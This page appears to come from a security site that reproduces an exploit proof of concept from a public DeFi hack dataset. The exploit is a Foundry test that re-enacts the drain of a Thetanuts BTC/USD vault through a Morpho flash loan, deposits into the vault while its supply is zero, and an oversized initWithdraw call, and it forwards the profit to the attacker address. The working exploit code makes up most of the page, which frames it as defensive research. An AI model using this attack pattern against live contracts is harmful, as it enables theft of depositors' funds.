Public reproduction file
src/test/2026-04/ThetanutsVaultShareRounding_exp.sol
Public reproduction file for dataset entry ThetanutsVaultShareRounding.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 0.15 WBTC8// Attacker : 0xaea2d93328242389b3e34271252b1bc9253b718a9// Attack Contract : 0xe26f5a496db55de2a69bdc4eef023927b3c2a20910// Vulnerable Contract : 0x80b8eeb34a2ba5dd90c61e02a12ea30515dca6f511// Attack Tx : https://etherscan.io/tx/0x1bc83899060c27106b6fb4257b208925085794e83b21c444854442fd3554862c13// @Info14// Vulnerable Contract Code : https://etherscan.io/address/0x80b8eeb34a2ba5dd90c61e02a12ea30515dca6f5#code16// @Analysis17// Source : https://t.me/defimon_alerts/293318//19// The Thetanuts BTC/USD covered call vault held WBTC while totalSupply() was zero.20// The attacker flash-loaned WBTC, minted shares with two deposits, and called21// initWithdraw(uint256) to redeem nearly all of the vault's pre-existing WBTC.23address constant ATTACKER = 0xAea2d93328242389B3e34271252b1bC9253b718a;24address constant HISTORICAL_ATTACK_CONTRACT = 0xE26F5a496db55De2a69Bdc4EEF023927B3c2A209;25address constant MORPHO_BLUE = 0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb;26address constant WBTC = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;27address constant THETANUTS_BTC_USD_VAULT = 0x80b8EEb34A2Ba5dd90c61e02a12eA30515dCa6f5;29uint256 constant FORK_BLOCK = 24_923_218;30uint256 constant WBTC_UNIT = 1e8;31uint256 constant FLASH_LOAN_AMOUNT = 10 * WBTC_UNIT;33contract ContractTest is BaseTestWithBalanceLog {34 IERC20 private constant wbtc = IERC20(WBTC);35 IThetanutsVault private constant vault = IThetanutsVault(THETANUTS_BTC_USD_VAULT);36 IMorphoBuleFlashLoan private constant morpho = IMorphoBuleFlashLoan(MORPHO_BLUE);38 function setUp() public {39 vm.createSelectFork("mainnet", FORK_BLOCK);41 fundingToken = WBTC;42 attacker = ATTACKER;44 vm.label(ATTACKER, "Attacker EOA");45 vm.label(MORPHO_BLUE, "Morpho Blue");46 vm.label(WBTC, "WBTC");47 vm.label(THETANUTS_BTC_USD_VAULT, "Thetanuts BTC/USD Vault");48 }50 function testExploit() public balanceLog {51 uint256 attackerBalanceBefore = wbtc.balanceOf(ATTACKER);52 uint256 preExistingVaultWbtc = wbtc.balanceOf(THETANUTS_BTC_USD_VAULT);53 assertGt(preExistingVaultWbtc, 0, "vault already holds WBTC");54 assertEq(vault.totalSupply(), 0, "vault has zero shares before exploit");55 assertEq(vault.balanceOf(address(this)), 0, "local attacker starts without vault shares");56 assertEq(vault.balanceOf(HISTORICAL_ATTACK_CONTRACT), 0, "historical attack contract starts without shares");58 wbtc.approve(THETANUTS_BTC_USD_VAULT, type(uint256).max);59 wbtc.approve(MORPHO_BLUE, type(uint256).max);61 // step 1: borrow WBTC from Morpho; Morpho calls onMorphoFlashLoan.62 morpho.flashLoan(WBTC, FLASH_LOAN_AMOUNT, "");64 uint256 profit = wbtc.balanceOf(address(this));66 // step 5: forward the same final WBTC profit to the attacker EOA.67 wbtc.transfer(ATTACKER, profit);68 uint256 receiverProfit = wbtc.balanceOf(ATTACKER) - attackerBalanceBefore;69 assertEq(receiverProfit, profit, "profit forwarded");70 assertGt(receiverProfit, preExistingVaultWbtc * 99 / 100, "receiver captures vault pre-balance");72 uint256 residualVaultWbtc = wbtc.balanceOf(THETANUTS_BTC_USD_VAULT);73 assertEq(profit, preExistingVaultWbtc - residualVaultWbtc, "profit comes from vault pre-balance");74 assertGt(profit, 0, "profitable WBTC drain");75 }77 function onMorphoFlashLoan(uint256 assets, bytes calldata) external {78 require(msg.sender == MORPHO_BLUE, "only Morpho callback");79 require(assets == FLASH_LOAN_AMOUNT, "unexpected loan amount");81 // step 2: seed the zero-supply vault with the observed dust deposit.82 uint256 firstDeposit = 2;83 uint256 firstShares = vault.deposit(firstDeposit);84 assertEq(firstShares, 1, "dust deposit mints one share");86 // step 3: deposit the main WBTC amount at the vulnerable share rate.87 uint256 secondDeposit = 468_000_000;88 uint256 secondShares = vault.deposit(secondDeposit);89 assertEq(secondShares, secondDeposit, "main deposit mints expected shares");90 assertEq(vault.balanceOf(address(this)), firstShares + secondShares, "attacker holds all minted shares");92 // step 4: an oversized withdraw request burns the attacker shares and releases the vault balance.93 uint256 withdrawn = vault.initWithdraw(type(uint256).max);94 assertGt(withdrawn, secondDeposit, "withdraw includes pre-existing vault WBTC");95 assertEq(vault.balanceOf(address(this)), 0, "shares burned");96 }97}99interface IThetanutsVault {100 function balanceOf(address account) external view returns (uint256);101 function totalSupply() external view returns (uint256);102 function deposit(uint256 amount) external returns (uint256 shares);103 function initWithdraw(uint256 shares) external returns (uint256 assets);104}Analysis
Dataset entry
Public Foundry test for “ThetanutsVaultShareRounding” (2026-04-20). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
16 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2026-04/AaveRebalancerCreditDelegation_exp.solSame month in the dataset · 126 lines
- src/test/2026-04/giddyvaultv3_compound_auth_exp.solSame month in the dataset · 283 lines
- src/test/2026-04/JUDAO_exp.solSame month in the dataset · 164 lines
- src/test/2026-04/JuiceboxREVLoans_exp.solSame month in the dataset · 231 lines
- src/test/2026-04/KipseliPropAMM_exp.solSame month in the dataset · 128 lines
- src/test/2026-04/MONA_LisaVault_exp.solSame month in the dataset · 247 lines
- src/test/2026-04/PerpPair_exp.solSame month in the dataset · 249 lines
- src/test/2026-04/RWAVault_exp.solSame month in the dataset · 133 lines
- src/test/2026-04/SaturnProtocol_exp.solSame month in the dataset · 211 lines
- src/test/2026-04/SingularityDynaVault_exp.solSame month in the dataset · 180 lines
- src/test/2026-04/SquidMulticallAllowanceDrain_exp.solSame month in the dataset · 99 lines
- src/test/2026-04/SubQuerySettings_exp.solSame month in the dataset · 168 lines
- src/test/2026-04/unverified_a152_exp.solSame month in the dataset · 184 lines
- src/test/2026-04/XLootStaking_exp.solSame month in the dataset · 197 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xaea2d93328242389b3e34271252b1bc9253b718a
- Attack Contract
0xe26f5a496db55de2a69bdc4eef023927b3c2a209
- Vulnerable Contract
0x80b8eeb34a2ba5dd90c61e02a12ea30515dca6f5
- Attack Tx
0x1bc83899060c27106b6fb4257b208925085794e83b21c444854442fd3554862c
File record
- Name
- ThetanutsVaultShareRounding
- Path
- src/test/2026-04/ThetanutsVaultShareRounding_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 026eab2c0434fcc383f70bb796147e13ce94d1aa
- Language
- Solidity
- Size
- 105 lines
- Date
- 2026-04-20
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-04/ThetanutsVaultShareRounding_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 026eab2c0434fcc383f70bb796147e13ce94d1aa, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.